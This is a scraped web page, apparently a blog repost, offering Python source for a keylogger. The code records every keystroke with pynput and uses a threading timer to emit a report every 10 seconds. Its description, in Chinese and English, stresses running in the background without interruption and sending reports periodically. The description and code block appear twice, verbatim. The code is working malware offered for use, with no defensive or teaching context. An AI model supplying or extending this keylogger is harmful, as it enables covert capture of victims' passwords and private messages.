What are the essential techniques in Python for creating an advanced KEYLOGGER?
- 内容介绍
- 文章标签
- 相关推荐
本文共计131个文字,预计阅读时间需要1分钟。
报告功能:后台运行。不要中断程序执行。每隔X秒发送一次报告。非常适合使用线程。
Report function:
- Run in the background.
- Don‘t interrupt program execution.
- Every X seconds, send the report.
->Great case for threading.
#!/usr/bin/env python import threading import pynput.keyboard log = "" def process_key_press(key): global log try: log = log + str(key.char) except AttributeError: if key == key.space: log = log + " " else: log = log + " " + str(key) + " " def report(): global log print(log) log = "" timer = threading.Timer(10, report) timer.start() keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press) with keyboard_listener: report() keyboard_listener.join()
本文共计131个文字,预计阅读时间需要1分钟。
报告功能:后台运行。不要中断程序执行。每隔X秒发送一次报告。非常适合使用线程。
Report function:
- Run in the background.
- Don‘t interrupt program execution.
- Every X seconds, send the report.
->Great case for threading.
#!/usr/bin/env python import threading import pynput.keyboard log = "" def process_key_press(key): global log try: log = log + str(key.char) except AttributeError: if key == key.space: log = log + " " else: log = log + " " + str(key) + " " def report(): global log print(log) log = "" timer = threading.Timer(10, report) timer.start() keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press) with keyboard_listener: report() keyboard_listener.join()

